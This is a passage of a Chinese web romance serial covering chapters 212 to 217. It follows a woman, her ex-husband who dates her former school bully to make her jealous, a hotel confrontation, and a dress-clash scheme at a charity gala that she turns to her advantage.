宋清殊点点头:“人不是机器,难免有喜欢和厌恶的人,珍珠也不喜欢她。
看得出,盛总很在意珍珠这个女儿,那么就当为了珍珠,答应我吧。”
盛熙川没有给她答复。
他还在问她:“你为什么讨厌她?”
问完他又觉得好笑,两周前,刚在医院里告诉她,自己再也不会打扰她的生活,如今在期待什么?
“我讨厌她,自然有我的原因,但我不想说。”宋清殊起身,
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“盛总,没什么事我就先回了。”
盛熙川的眉头一直没有松开:“你不怕我真的跟她在一起?”
宋清殊已经离开了椅子,她没有马上回答她,而是把椅子推回去。
才道:“与我无关。但请不要再让她和我的孩子出现在同一空间里,我在乎的只是这个。”
说完,宋清殊踩着高跟鞋离开。
盛熙川盯着她纤细的背影,眸子一片幽深。
这次,盛熙川没有再等。
他一边让人去查,一边旁敲侧击问珍珠,是不是季卿跟她说过什么。
毕竟上周日下午季卿去了公司,那时他在开会,珍珠在顶层玩。
监控覆盖到的地方都查了,没什么异样,就怕季卿在监控看不到的地方搞鬼。
珍珠拍过来一张照片给他,还有后面的文字。
下午临下班前,他派的人也发来了调查结果。
十二年前的旧事了,不太好查,但结果跟他预想的差不多,跟宋清殊的那本日记有关。
也就是说,季卿和她已经远嫁的姐姐季昭昭,当年主导了那场校园暴力。
盛熙川又想起了年少时那个卷发大眼睛,两条腿从栏杆缝隙里垂下来的小女孩。
当年,她受了怎样的精神折磨。那样小的时候被送出去,该有多无助。
难怪她看季卿的神情不对劲,季卿该死。
盛熙川点了根雪茄,在办公室坐到了半夜。
之后,打苏白电话。
“出来喝酒。”
苏白在电话里拒绝:“不,我备孕。”
盛熙川沉默了一瞬,又说:“你人来就好,我自己喝。”
他太需要宣泄一下心内的情绪,不然又要发疯。
苏白了解他,马上道:“等我。”
琼林宴会所。
苏白听完了全过程,也眉头紧皱。
“季卿的身份比较特殊,这件事又发生在那么多年前了,想用这件事弄她,估计不太好办。”苏白说。
“但既然她贴上来,就要付出代价。”盛熙川的眸子里一片寒意。
苏白马上警觉:“别耍昏招!”
第212章 爱人错过
苏白跟盛熙川从小穿一条裤子长大,太了解他的脾气秉性和行事作风。
盛熙川这个人,在乎的东西非常少,可真正放在心上了,又非常偏执。
别的事,他都举重若轻,处理起来不费吹灰之力。
可事关宋清殊,他就犯浑,乱阵脚。
前阵子听他在医院对宋清殊说狠话,有那么一瞬间苏白都差点信了。
以为这样傲气的人被宋清殊用那样拙劣的手段骗过,伤了自尊心,兴许这次也就真的放弃了。
可刚转过头,他消了气,又开始满脑子都是宋清殊。
眼下,盛熙川的神情不对劲,苏白直觉他要乱来。
“你告诉我什么是昏招?”盛熙川反问。
苏白:“比如你现在准备将计就计的想法,就很有问题!
宋清殊如果能因此发现对你的真心,当然是好事。
可万一她对这件事完全不在乎,你更不好收场。
到时候就不止丢脸了!”
盛熙川被说中了心事,眯起眼睛。
苏白盯着他要**的视线,毫不退缩,简直称得上苦口婆心——
“季家想把女儿嫁给你,试探了几年,你都没松口,现在突然改变态度,就算季卿发现不了什么,季家人也会多心。
而且到头来,你最终目的还是跟宋清殊复婚,一旦达到了,谁都会知道季卿是棋子。
达不到,难不成你还要娶季卿?
季老爷子和你家司令都从政,关系又不错,你这样,势必要季家和盛家为敌。”
苏白自问不是个爱操心的人,可因为盛熙川和宋清殊的这四年,白头发都要出来了。
“这是我不多的机会了。”盛熙川说,他喝了一口酒,神情晦涩。
既然宋清殊在意季卿这个人的存在,那他跟季卿走得近了,说不定会让她有些危机意识。
之后,在她需要的时候,帮她把季卿这个**烦解决掉。
两人从半夜喝到天快亮,到后面已经没什么话说了。
接下来的日子,苏白心惊胆战,怕盛熙川耍浑。
可害怕的事还是发生了,
很快圈子里便有人传盛熙川在和季家二小姐季卿约会。
有人目睹过他们一起从电影院出来,共同撑一把伞。
这话宋清殊也听到了一句半句,但她拿出了十二分的定力,故意充耳不闻。
到后来连珍珠也开始说。
周日晚上,珍珠从盛熙川处回来,跟她一起吃宵夜,突然开口:“爸爸今天带我出去玩,还买了个包。”
宋清殊把一颗肉燕放进嘴里,没有接话。
珍珠便有点生气,“啪”地一下放下勺子。
宋清殊静静抬头看她。
“妈妈,那个包不是送你的!”珍珠要哭。
宋清殊把口中的肉燕充分咀嚼,慢条斯理咽下去。
“你如果一直这样情绪化,就要在爸爸妈妈里选一个了。”她说,“我好像跟你解释过很多遍,我和爸爸已经不相爱了,他来就有跟别人在一起的自由。”
珍珠到底是孩子,她的眼泪这次
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再也没有憋住,大颗大颗落下来。
“我要爸爸妈妈在一起!”她说。
珍珠身体好,哭声都比同龄的小孩更响。
宋清殊这次没有再哄,她叹口气,站起身来,把她交给保姆,自己回了房间。
这是珍珠要攻克的难题,除了让她学会接受,宋清殊也没别的办法。
她觉得自己完全能接受盛熙川和季卿在一起,只要盛熙川能说到做到,别让季卿打扰到珍珠就好。
这一点,她选择相信盛熙川。
可很多东西,亲眼所见和听别人说还是不一样。
又过了几天,他们狭路相逢。
宋清殊跟霍宗辞在外面跟客户吃日料。
晚上10点,众人刚从包间里出来,便看见了盛熙川和季卿。
两人也刚从隔壁包间出来。
季卿像个小女孩一样,神情雀跃,脸上带了点红。
“我爷爷要是知道我喝酒,非让我抄《女戒》不可。”她说。
“没事,让老爷子找我,就说我非要你喝。”盛熙川笑着说。
他们站在一起,两人没有牵手,但身上的咖啡色大衣像情侣装。
宋清殊有一瞬间的恍神。
她知道,盛熙川和季卿都看到了她。
可两人谁也没跟她打招呼。
他们不说话,宋清殊当然也不会自讨没趣。
三人都目不斜视,擦肩而过。
谁知,霍宗辞在身后突然开口:“小宝,我今天早上出门的时候戴手表了吗?”
宋清殊:“……”
第213章 你喜欢她吗
霍宗辞此言一出,周围的空气都凝固了下来。
问她自己早上有没有戴表,言外之意,两人昨晚是睡在一起的。
盛熙川和季卿走在他们前面,俱是脚步一顿。
他们那位客户已年逾半百,居然也露出了吃瓜表情。
最吃惊的是宋清殊。
且不说她一而再,再而三的欺骗盛熙川,早已失去信用。
就说霍宗辞这个行为,当着前夫和疑似前夫现女友的人,刻意提这个,傻子都知道是在给她找场子。
可越找场子就越说明她在意,那不正中季卿下怀?
宋清殊脑子飞速运转,觉得不妥。
她和盛熙川本就是一笔烂账了,还是不要搞这么复杂的好,别到时候再被拆穿,两厢难看。
而且,她刚听到了一些关于霍宗辞的其他传言,还没有跟他核实,不想扯上关系。
这些都是比她的面子更为重要的东西。
“抱歉,小叔,早上接您的时候没注意,不行一会看看有没有落在车里。”宋清殊说。
这个答案,成功让那位客户眼里的精光黯淡下去,盛熙川和季卿的脚步又开始加快。
但显然,霍宗辞不满意。
他觉得她这个反应是给台阶不下,不识好歹,冷冷笑了笑,没有接话。
到了停车场,宋清殊和霍宗辞先送客户上车,转头又看到了盛熙川和季卿。
他们坐不同的电梯下来,车却停得很近。
此时只剩下他们四人。
季卿先开口:“宋小姐在跟霍先生交往吗?你们很般配。”
霍宗辞挑了挑眉,没说话。
宋清殊神色很淡,语气里有冷意:“跟你有关系吗,季小姐?你爱打听别人隐私的毛病,可是从小到大一直没变。”
成功地看到季卿的嘴角沉了下去,宋清殊勾唇。
她一个多余的眼神都没有再给季卿,只对盛熙川点了点头,随即坐进了车里。
宋清殊的表现,成功让盛熙川的心重重地沉下去。
他判断的没错,她的确很讨厌季卿,讨厌到表明功夫都不做。
可讨厌归讨厌,却并没有因为他和季卿走得近而有什么额外反应。
他这段日子有意往外放了不少消息,不知宋清殊有没有听到只言片语。
为了引起她的注意,他甚至当着珍珠的面选了个包,还刻意在珍珠问起时,告诉她是选给季卿的。
而今天这个“偶遇”,自然也不是天意。
如果刚才宋清殊顺着霍宗辞的台阶下来,反将他一军,或许还有点戏。
可她轻飘飘不接招,根本不在乎在他这里有没有场子,更无意跟他比。
或许,对她来说,自己如果真恋爱了,反而是好事,这样就不会再纠缠她!
苏白说的没错,利用季卿果然是昏招。
盛熙川很沮丧。
也许是因为他的脸色太难看了,让季卿觉得自己说错了话。
两人坐进车里,她沉默了好一阵子。
临下车,季卿才道:“熙川哥哥,今天爷爷也知道我来跟你吃饭,他很高兴。”
盛熙川“嗯”了一声。
季卿又试探道:“下星期慈善晚宴,我给你做女伴好不好?”
盛熙川揉了揉眉心:“再说。”
他今天和季卿成双入对出现在宋清殊面前,有试水的意思。
但宋清殊不接招,季卿便也失去了她的价值。
盛熙川这边氛围诡异,宋清殊这边也没有好到哪去。
车内,霍宗辞往真皮椅背上一靠,冷冷睨了她一眼。
“我好心替你解围,你却自己拆台,宋清殊,想跟盛熙川复合就直说,之前装得那么决然,我还以为你真铁了心,再也不跟他有交集了。”
他一张嘴说出的话刻薄得厉害。
宋清殊知道霍宗辞最近气不顺,但她不想跟他吵架,也吵不着。
她很平静,等霍宗辞发泄完,才道:“小叔,我知道你帮我是好意,但的确没必要在这种事上争个高下,你说呢?”
且不说宋清殊觉得两人未必真的在恋爱。
退一万步讲,就算是真的。也不是盛熙川恋爱了,她就非要也谈个恋爱才不输。
她要的不过是互不打扰。
他去恋爱,她的目的也基本上就是实现了。
虽然那个人是季卿,的确让她不太痛快,但这件事不宜再纠缠。
对方秀恩
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爱的时候,反秀回去,更显得小家子气。
宋清殊自有她的一番道理。
“懒得管你。”
霍宗辞不知有没有被她说服,冷哼了一声,索性闭目养神。
车内的氛围陷入沉默。
宋清殊不知道霍宗辞想什么,但有件事,她憋了好几天了。
“小叔,兰溪请了两周假出去旅游,回来就办离职手续。”
霍宗辞的眼睛倏地睁开。
“她说自己在国内呆不下去了,准备回芬兰。”
她神色很淡,像闲聊,“明明刚回国的时候告诉我,她把芬兰那边的房子都卖了,是准备留在国内生活的。
也不知遇到了什么人,什么事,又突然要走。小叔你知道吗?”
霍宗辞盯着宋清殊,眼神里没有一丝温度:“有话直说,别绕弯子。”
宋清殊也直视回去,目光分毫不让:“干妈说,兰溪要离开跟你有关。
小叔,她做错了什么,让你一点生存空间都不给她留?”
“呵。”霍宗辞冷笑,“你该去问她,为什么这么没种,做错了事不敢面对,只知道逃避。”
宋清殊:“你喜欢她对吗?”
车子已经到了宋清殊家门口,霍宗辞声音陡冷:“下车。”
见霍宗辞生气,宋清殊反而笑了。
有情绪是好事,说明她猜的没错。
她都佩服自己,自己的感情都处理不好,还有空管别人。
此时,眼前的霍宗辞不再心思深沉,高深莫测。他也不过是个普通为情所困的普通男人罢了。
所以,临下车前,宋清殊又不怕死地补了一句:“小叔,兰溪是个好女孩,别让自己后悔。”
霍宗辞眉头紧锁,没有说话。
宋清殊回了家,先是跟珍珠玩了一会儿,哄她睡了,自己又去洗了个澡。
起初没什么不妥,晚上发生的事,并没有占据她太多的注意力。
霍宗辞和莫兰溪的事,她点到为止即可,毕竟每个人都有自己要过的情关,她没有干涉的立场。
而面对盛熙川和季卿,她觉得自己也还算体面。
可不知怎么,洗完澡躺在床上,她就开始有点失眠。
第214章 跟我复婚
深夜,宋清殊的反射弧终于觉醒,她一边又累又困,一边胡思乱想。
她想,不知道盛熙川是什么心态,也不知两人到底谈上没有,但季卿那个样子,显然志在必得。
季卿这个人12岁的时候就那么坏了,现在更不是善茬,这件事万一是真的,季卿万一做了珍珠的后妈……
只要珍珠始终在她身边,不跟盛熙川一起生活,应该没关系吧?
可毕竟父女两个每周要相处三天,难保季卿和珍珠没有撞上的时候。
脑子里那点困意瞬间消失,她再也睡不着了。
凌晨五点,宋清殊坐起身来,索性不睡了。
她去餐厅给自己做了杯冰美式,慢慢喝到了天亮,脑子也彻底醒透了。
盛熙川可以谈恋爱,也可以结婚,但那个人绝不能是季卿。
这样想着,宋清殊给盛熙川发了个微信。
【有空吗?一起喝个咖啡】
同样一夜没睡的盛熙川,在接到消息时精神一震。
有空,非常有。
但他还是强撑了一会儿,才慢吞吞回:【有事?】
宋清殊秒回:【有件关于季卿的事,我想跟你聊聊,半个小时就好】
她跟他约了时间地点。
盛熙川低落了一夜的心情突然飞扬了起来。
他去洗澡,之后,非常用心地打扮了一番。
穿了极其正式的戗驳领西装,领带是温莎结,头发也做了造型,喷了宋清殊喜欢的松木味道香水。
一番收拾下来,看着镜子里的自己,盛熙川又觉得不妥。
太隆重了,用力过猛。
想了想,临出门时又把领带解了,西装也换回了休闲款。
做好造型的头发再次抓乱,可这样,又难免显得太不重视。
怎么都不对劲。
以至于上了车,盛熙川还在心里犯嘀咕。
“我今天这身衣服怎么样?”他终于忍不住问自己的司机。
小赵正专心致志开车,被盛熙川一问,握着方向盘的手猛地一偏。
太阳也没从西边出来,老板穿什么衣服,什么时候需要他一个打工人提供意见了?
他不知该说什么合适,不断催自己死脑子快点想,憋到最后抓耳挠腮,给了一个毫无参考价值的答案:“挺好的,您穿什么都很帅。”
盛熙川没有再理他。
他们约在九点,可盛熙川到得早,为了不显得太殷勤,特地在车里又坐了半个小时。
司机小赵陪着。
小赵虽然不知道发生了什么,但他觉得今天的老板像是被夺舍了一样,还是小心为上。
因此,他异常地战战兢兢,座椅都不敢坐实。
可偶尔从倒车镜里窥一眼,盛熙川的脸色并不难看,甚至有几分喜色。
八点五十,盛熙川下车,小赵如释重负。
盛熙川到咖啡馆时,宋清殊已经到了,远远地对他招手。
她应该一会儿还要去上班,所以穿了一件相对职业的米白色西装,淡妆,头发挽在脑后,看上去知性又优雅。
越走越近,盛熙川的心脏狂跳起来。
“给你点了意式浓缩。”宋清殊说。
很好,还记得他的口味。
盛熙川心中狂喜,面上波澜不惊。
他在她对面落座,喝一口咖啡,强迫自己把注意力集中到苦涩的口感上,心神稳下来。
他甚至给宋清殊准备好了台阶:只要她说一句让他不要跟季卿在一起的话,他马上承认自己只是这么做只是为了引起她的注意,他永远只爱她一个。
他不要再跟她赌气,也不要她难堪,只要她乖乖地回到他身边来。
宋清殊说倒是说了,可全然不是那么回事。
她饮了一口咖啡,之后开门见山问:“盛熙川,你跟季卿在交往吗?”
平静的心脏又开始没有规律的乱跳,盛熙川挑了一下眉:“你希望我怎么回答你?”
没有得到想要的答案,宋清殊倒也不是太在意。
“那我就不绕弯子了。”她说,拿出了一个东西递到盛熙川手里。
是那天季卿给珍珠的
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信封。
盛熙川早就知道了这件事,却还要装傻:“什么?”
于是,宋清殊便把准备好的话说了。
包括但不限于季卿在年少时期对她的所作所为,利用珍珠,以及那天两人在咖啡馆里,季卿威胁她的那些话。
盛熙川面上不动声色,人已经开始有点飘。
谁说他出昏招,宋清殊明明在乎!他这个策略简直妙到了极点。
在这一瞬间,他突然觉得自己又行了。
宋清殊开始苦口婆心劝他——
“季卿这个人,人品有很大问题,不适合做未来的盛夫人。趁着你们刚要开始,感情还不深,我觉得你可以再考察考察。”
盛熙川还在强装淡定:“既然她不合适,你觉得谁合适?”
“只要不是她,谁都行。”宋清殊说,“我目前没有合适人选,但如果你信得到我,我也可以帮你留意。”
事情的走向似乎不太对。
盛熙川的心凉了一点,他往身后的椅背上靠了靠,引导她:“我和季卿没有交往,但的确有这个打算。
你知道的,我年纪也不小了,老头子也急。如果身边一直没人,就会控制不住想要复婚,难免打扰到你。
我这么做,也是避免自己犯贱。”
他语速很慢,刻意给宋清殊留了思考的空间。姿态放得也低,处处给她留台阶。
这个时候,只有宋清殊说句不怕他打扰之类的软话,这事就有门。
可宋清殊不知是没听懂,还是不想说。
“这世界上又不是只有季卿一个女人。”她循循善诱,“你想恋爱,有的是人选,为什么要盯着一个人品有问题的女人不放呢?”
盛熙川都要被气笑了。
他索性又喝了一口咖啡,把话挑明:“宋清殊,你说这么多,不就是不想让我跟季卿在一起吗?”
宋清殊坦坦荡荡点头:“我这样做也是为你好。”
“那好。”盛熙川看着她的眼睛,“你跟我复婚,我保证答应你,离她远远的。”
第215章 不欢而散
宋清殊觉得自己在对牛弹琴。
盛熙川根本没有理解她的意思,或者说,就是有意曲解。
她正色:“现在说的是你和季卿,跟我有什么关系?
我今天选择把过去的伤口揭开给你看,是想告诉你季卿的人品有问题,不适合做盛太太。
盛熙川,你如果跟她交往,肯定不是想玩玩就算了吧?”
这番话,宋清殊觉得自己语气诚恳,情真意切。
可显然盛熙川不这么认为。
他久久凝视着她,那目光似乎要把她脸上戳出两个洞来。
起初还没觉得怎么样,宋清殊喝着咖啡,泰然自若。
可沉默得时间太久,盛熙川也盯了她太久,慢慢的,她便觉得头皮发麻。
“我也是为你好……”她突然有点心虚,不得不兀自找补。
盛熙川看着面前的女人振振有词的模样,都要被气笑了。
自己不回到他的身边来,还不许他跟别人交往,还真是霸道。
“为我好,我是不是还要谢谢你?”他嗤笑一声。
宋清殊:“……倒也不用那么客气。”
“不让我跟季卿交往是为我好,那把我女儿带走,四年没让我见,是不是也是为我好?找个法国鸭子过来,骗我是你男朋友,也是为我好?”
盛熙川的神情很冷,“宋清殊,我发现你这个人真的自私又双标。”
宋清殊被怼得哑口无言。
她呆坐在那里反思了一下自己这个行为的初衷。
的确,比起冠冕堂皇的“为他好”,更多的是为自己。
自己不想让珍珠有个季卿这样的后妈,更不想让季卿得偿所愿。
但季卿做的这些事,并没有伤害到盛熙川的利益,所以他未必觉得她多坏。
毕竟,感同身受这件事真的很难。
那件事对她来说是一生厄运的开始,但对盛熙川,说不定就是两个初中生小女孩扯头花,上升不到人品的高度。
宋清殊越想越沮丧,她觉得自己很鲁莽,也很失智。
“对不起,是我唐突了。”她懊恼地说,站起身来。
看她的模样,盛熙川的心蓦地一软,又有些后悔把话说重了。
他看到了宋清殊眼底淡淡的青黑色,显然,她跟他一样没有休息好。
盛熙川也想找补。
“我说真的,宋清殊。为什么不能跟我复婚呢?之前哪里做得不好,我都可以改。”
他说,“你考虑考虑,不想让季卿给珍珠做后妈,就回到我身边来。”
宋清殊自然不可能答应他。
总之,两人的谈话闹了个不欢而散。
回去后,他们又各有总结。
宋清殊回去后反思了一下自己,她把这一切归结为前一天晚上失眠,人睡不好觉就是容易鲁莽。
哪怕她真想拆散盛熙川和季卿,也应该侧面去告诉盛熙川这个人不行,这样当面锣对面鼓,只会激起他的逆反心理,根本达不到目的。
而盛熙川那边,起初只是生气,慢慢回味,又觉得虽然宋清殊什么都没答应他,但因为季卿,她的情绪波动那样大,是好事。
起码让他觉得,季卿这个棋子是有用的,只是他没之前找到正确使用方法而已。
但正确用法是什么,他也差不多快摸索出来了。
这件事宋清殊短暂纠结了两天,就又顾不上了。
因为霍宗辞也请了个长假。
而陆三叔进了局子,如今,陆氏只有她和二叔坐镇了。
二叔比三叔还坏,宋清殊生怕出岔子,每天忙着陆氏的事,也就把季卿这件事慢慢放下了。
等到眼前再说吧,毕竟她现在还暂时不是珍珠后妈,担忧都为时过早。
周末,好容易偷得浮生半日闲,宋清殊约了楼珏喝下午茶。
她们去了上京最大的一家七星级酒店,一边吃,一边聊近况。
两人坐了也就十几分钟的样子,有个大堂经理模样的人过来,低声跟她们商量,能不能退她们三倍的费用。
“有位客人想用这个酒店拍Vlog,需要清场。”他说。
财大气粗,又不尊重人的样子惹人反感。
宋清殊:“我们不同意,谁还不是消费者了?”
楼珏也说:“我们至少还要吃两个小时,愿意等就让她等。”
那位大堂经理见两人不好说话,面露难色地走了。
又过了一会儿,宋清殊看到了季卿和
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几个人进来。
原来是她。
讨厌的人,做出的事也让人膈应,宋清殊厌恶地皱眉。
季卿应该是想拍Vlog发自己的短视频账号,现在很多人都在拍。
偏偏她要摆谱,带了团队来不说,还要清场。
不知道的还以为是什么女明星来了。
“原来是你,”季卿看到宋清殊后冷笑,“我说谁这么难缠。”
宋清殊:“同样的话送给你。”
楼珏似笑非笑,看向季卿:“季小姐拍了是发哪个平台?现在一定是大网红了吧?”
这话可戳中了季卿痛处。
按理说,她不缺钱,又不缺团队,出于乐趣做自媒体应该很轻松。
可她从大学毕业后就开始拍,团队也各种出谋划策,尝试过好多赛道,钱也投了不少,就是做不起来。
她的问题是没有同理心,总拿出一副高高在上的态度,也不知道受众更爱看什么。
但她自己发现不了症结所在,越努力,越悲惨。
“无可奉告。”季卿冷冷道,“你们想要多少钱,直说就是了。”
楼珏不惯她毛病:“我不要钱,只需要你去外边等,不要打扰我们喝下午茶。”
季卿:“现在拍是最佳时间,你看到那个窗户了吗?”
她指着侧方的落地窗说,“正好有太阳照过来。”
宋清殊:“我们喝下午茶也是最佳时间。”
两人丝毫不让,谁也没给季卿面子。
“宋清殊,我想把你赶出去,有的是办法,你别敬酒不吃吃罚酒!”季卿恼了,出言威胁。
宋清殊冷笑了一下。
“你笑什么?”季卿问。
宋清殊:“季卿,都说方法不对,努力白费,知道你自媒体账号为什么做不起来吗?”
季卿被她问得愣了一下。
又听宋清殊一字一顿道:“因为你的视频没有让观众看到最真实的你。”
季卿皱眉:“你什么意思?”
宋清殊:“很简单,你要是再打扰我和阿珏喝下午茶,我现在就帮你走红。”
她举起了手机,高声道:“前林津市长季国强的孙女,季卿小姐,你刚才是想把我们赶出去吗?”
第216章 又撞衫
虽然酒店的客人都被清出去的差不多了,但有不少服务人员在,宋清殊这一嗓子,引起了很多人的注意。
季卿显然没想到宋清殊会这么做,吓了一跳,接着,迅速伸手捂住了脸。
“你们干什么?”几个黑衣保镖先反应过来,站到了季卿身前。
宋清殊:“没干什么,记录一下事实而已,怎么季小姐不会敢做不敢当吧?”
此时,季卿已经站到了宋清殊拍不到的拐角处,对保镖喊:“看看她刚才拍了什么,让她删了!”
其中一个保镖马上冲过来,要抢宋清殊手机。
楼珏见状,又迅速举起了自己的:“敢明抢的话,这一段我也会录,而且会不经剪辑,马上发,确定还要抢吗?”
季家有权不假,可楼珏和宋清殊也都是世家出身,这事要是真闹起来,势必压不住。
更重要的是,官员家庭比商人更注重名声。
显然,宋清殊和楼珏都是不怕事的。
“算了,别跟她一般见识!”季卿快速说。
酒店的工作人员此时一个个在门口方向探头探脑吃瓜。
宋清殊又看向刚才那个大堂经理:“曝光她的同时,我也会向消协举报你们,对待顾客不一视同仁。”
那个大堂经理紧张的汗都下来了。
之后,季卿Vlog也不拍了,迅速离开了现场。
那位大堂经理怕被宋清殊举报,一连送了三四次茶水点心和果盘上来。
季卿走后,宋清殊和楼珏对视一眼,一起笑出声来。
“这么多年没见,原以为季卿长本事了,没想到还是这么差劲!”楼珏感慨。
两人跟季卿这一仗打得漂亮,胃口都比平时好。
但她们都知道,季卿不会就这么算了,她一定会有后手。
没过几天,到了上京一年一度慈善晚会的日子,宋清殊要代表陆氏参加。
对于打造企业和个人形象来说,慈善晚会是个很好的机会,陆夫人非常重视,提前就让宋清殊做了礼服。
但在晚会的前三天发生了一件事。
宋清殊去跟造型师沟通妆造细节时,那位造型师的手机响了,但她没接,而是看了一眼屏幕后,下意识又看了宋清殊一眼。
之后挂断,把手机装到了口袋里。
很奇怪的举动,第一时间引起了宋清殊的注意。
她表面不动声色,什么都没有问,却莫名联想到一件事:四年前,她订婚现场跟帕丽的撞衫事件。
再加上这个慈善晚会季卿也会参加,宋清殊觉得,不得不防。
她跟楼珏和陆夫人提前通了信,之后,不动声色地静观其变。
慈善晚会一如既往地盛大,偌大的宴会厅里**了上京有头有脸的人物。
在这里,宋清殊自然也见到了盛熙川和季卿。
他们不是一同来的,季卿先到,一双眼睛四处逡巡,在盛熙川入场后,她才踏实下来,迅速黏了上去。
之后,两人几乎全程没分开过。
而宋清殊和楼珏坐在一起。
“你看看季卿那个嘴脸。”楼珏啧了一声说,“抢个你不要的二手男人,还得意上了。”
宋清殊被这句话逗笑,下意识抬头看了两人一眼。
管盛熙川叫“二手男人”的,楼珏怕是头一个,有意思。
此时,没想到盛熙川也在看她,目光幽怨得像个弃妇,好像宋清殊是个始乱终弃的负心汉一般。
四目相对,气氛些许尴尬,宋清殊迅速挪开目光。
此时,她的手机响了一下,是盛熙川发来的消息。
盛熙川:【老婆,季卿约我周末见家长】
宋清殊:【与我无关】
她忙着跟楼珏说话,竟然丝毫没发现盛熙川的称呼有什么问题。
盛熙川被自己这个发现取悦到,对着手机露出痴汉微笑。<
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br>他太专注,以至于根本没听到旁边季卿说了句什么。
“熙川哥哥。”季卿又叫他。
“什么?”盛熙川回神。
季卿撅嘴:“你都没好好听人家说话。我是说宋小姐这身礼服太漂亮了。”
于是,盛熙川再次细细的打量宋清殊。
宋清殊穿了一件银色鱼尾晚礼服,吊带款,露出线条优越的肩颈和锁骨,手臂纤细雪白,裙摆在灯下闪着碎钻般的光。
的确美丽。
如果童话里的小美人鱼变成**,大概就会长这个模样。盛熙川默不作声地想。
“她穿什么都好看,跟衣服没关系。”
这话季卿没法接,只能暗自咬牙。
晚会顺利进行,有条不紊。
楼珏倒是先坐不住了。
“今晚难道平安夜,无事发生?不应该啊。”她说。
宋清殊这时已经大概知道了怎么回事,淡淡笑了一下:“别急,重头戏在后面。”
“事故”发生在晚会的后半段。
捐款的企业家上台,由礼仪小姐颁发捐款证书。
宋清殊和楼珏各捐了两百万,一起走上台。
同时上台的还有三十余位,包括盛熙川和季卿。
等大家各司其位站好,几位礼宾小姐上台,季卿的阴谋也浮出了水面。
当年帕丽的“撞衫”好歹还换了换细节,而这次宋清殊和礼宾小姐们穿得一模一样,她那件衣服简直像是从礼仪队借出来的。
而且不止衣服,连发型都差不多。
场上有小规模的骚动。
“这是搞什么?宋清殊怎么跟礼宾小姐撞衫了?”台下有人问。
“她这个裙子,怎么看都像高定,礼仪队买得起?”又有人说。
众人都在小声讨论。
也不知谁“嘘”了一声,空气又迅速安静下来。
所有的目光都在宋清殊身上,似乎在等一个答案。
第217章 是谁做的,好难猜
宋清殊没什么大的反应。
她自始至终面带微笑,体面又端庄。
反而是在台上把证书呈给主办方的礼宾小姐,紧张得要命,在看见宋清殊时一个趔趄。
“小心。”宋清殊伸手扶住她。
那女孩显然也没想到会出现这种状况,在初春天气里,她明明穿得那样单薄,却还是出了一头的汗。
她对着宋清殊张了张嘴,一直小声说:“对不起,宋总。”
她也不知道自己为什么会道歉,甚至礼服都是主办方提供的,但她觉得,自己还有她所在的礼仪团队,似乎得罪了一位大人物。
“你有什么错?”宋清殊反问她。
“我……我不知道。”女孩紧张得快哭了。
“嗯。没人会为难你们,放宽心。”宋清殊温声说。
她甚至伸手拍了拍女孩的手臂,给了她一个安慰眼神。
两人在台上短暂的交流,更加放大了这场撞衫的戏剧化效果。
无数人的手机举起来,媒体的**短炮更是对准了她。
接过证书,宋清殊又按照引导,拍了单独的照片和大合影。
那些并没有做错什么的礼宾小姐们,都被提前要求退场。
主办方的工作人员一个个神情尴尬,看宋清殊的眼神都透着惶恐。
出了这样的疏漏,他们很不安。
也是到这个时候,宋清殊才意识到,她已经凭借自己在陆氏这几个月的表现,积累了名声和威望。
得罪她,已经变成了一件值得担忧的事。
此时,她不是宋家的女儿,不是盛熙川的前妻,她是帮陆氏挽回巨大损失的宋总,是一个企业的核心人物,是值得所有人高看一眼的存在。
在上京这些二代的圈子里,她也算占领一席之地了。
合影后是采访环节,宋清殊也没有着急去换衣服。
她和其他企业家一样留在现场,接受媒体采访。
众人替她捏把汗,但她反而全程神态自若,没有一丝的尴尬。
记者们问她对这次慈善晚会的看法,问最近陆氏在做的一些公益项目,和她未来的发展规划,她都一一答了。
最有爆点的问题,起初没人敢问,到后来有个大胆些的女记者试探着开口——
“宋总,请问您今天跟礼宾小姐们的服装撞衫,是因为造型团队疏忽吗?”
来了。
周围的鼎沸人声小了下去,所有人都在提着一口气,等宋清殊的答案。
包括不远处的盛熙川。
他发现这件事的时候,第一反应是看了一眼季卿。
季卿给了他一个笑脸。
“没想到宋小姐的审美还挺大众的。”她说。
盛熙川嗤笑了一声,转过头去。
宋清殊撞衫这件事,他连一瞬间的担忧都没有。
因为她的神色那样平静,看上去丝毫不慌。
那句话怎么说来着?
撞衫不可怕,谁丑谁尴尬。
这帮礼宾小姐都是空乘出身,不管是身材还是长相,在普通人中出类拔萃的。
最要命的是,她们都比宋清殊高,还都是浓妆,每一个都是五官立体的网红脸。
大概做局的人也想的是看着宋清殊被比下去,输得一败涂地。
谁知,穿同样衣服且是淡颜的宋清殊,不仅没输,还赢得轻轻松松,毫不费力。
不好说她赢在了外形还是气质,但有眼睛的都知道,她穿那件礼服更美,别人都比她庸俗。
很奇妙。
当然,把别人比下去也不是宋清殊的目的,她甚至看上去丝毫不把这件事放在心上。
沉稳,大气,遇事不慌的态度,更是为她增色不少。
“其实,我在上场前几天就发现了这件事。”面对这个问题,宋清殊笑了一下,拿着麦克风缓缓开口。
偌大的宴会厅安静下来,针落可闻。
“应该是我一个老熟人做的手脚。
她收买了我的造型师,又仿制了20件一模一样的衣服给出礼仪的姑娘们。
我发现得不算太晚,的确可以再准备一件别的礼服出来。
但没必要。
这件衣服是干妈亲自替我定的,有干妈
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的爱在。而且,设计师团队也用了很多心思,我不想让大家白忙一场。”
宋清殊顿了一下,“我来参加慈善晚会,又不是比美,与其耗费财力物力做这种肤浅的较量,不如把再做一件礼服的钱拿出来捐掉,去帮助更多的人。
所以,我在发现这件事的时候,以陆氏的名义往希望小学捐了五十万。
今天我的那位老熟人也在现场,能穿这件礼服娱乐到你,我很高兴。
但下次请不要玩这么幼稚的游戏了,毕竟,并不是所有人都像你一样这么在意这些外在的东西。”
宋清殊这番话,不卑不亢,掷地有声。
一时间,现场一片哗然。
“宋清殊这个行为太霸气了,我突然明白她的魅力在哪儿了。”有人说。
“女王行为啊!某些人觉得自己开了个大招,结果宋清殊根本不放在眼里,这也太尴尬了吧,哈哈。”又有人说。
楼珏在不远处,听着耳旁的一片赞誉声,吹了个响亮的口哨。
一边鼓掌,一边大笑道:“也不知道谁这么想让宋清殊出丑,好难猜啊!”
楼珏带头鼓掌,一时间场内掌声雷动。
而这句话就差念季卿的身份证号了。
谁不知道季卿最近在追盛熙川?显然,她对宋清殊的敌意最大。
但宋清殊的高明之处也在于此,她却并没有指名道姓,甚至没有任何引导性言论,可矛头就是指向了季卿。
异样的目光从四面八方投过来,季卿如坐针毡。
“熙川哥哥,这件事不是我做的!”
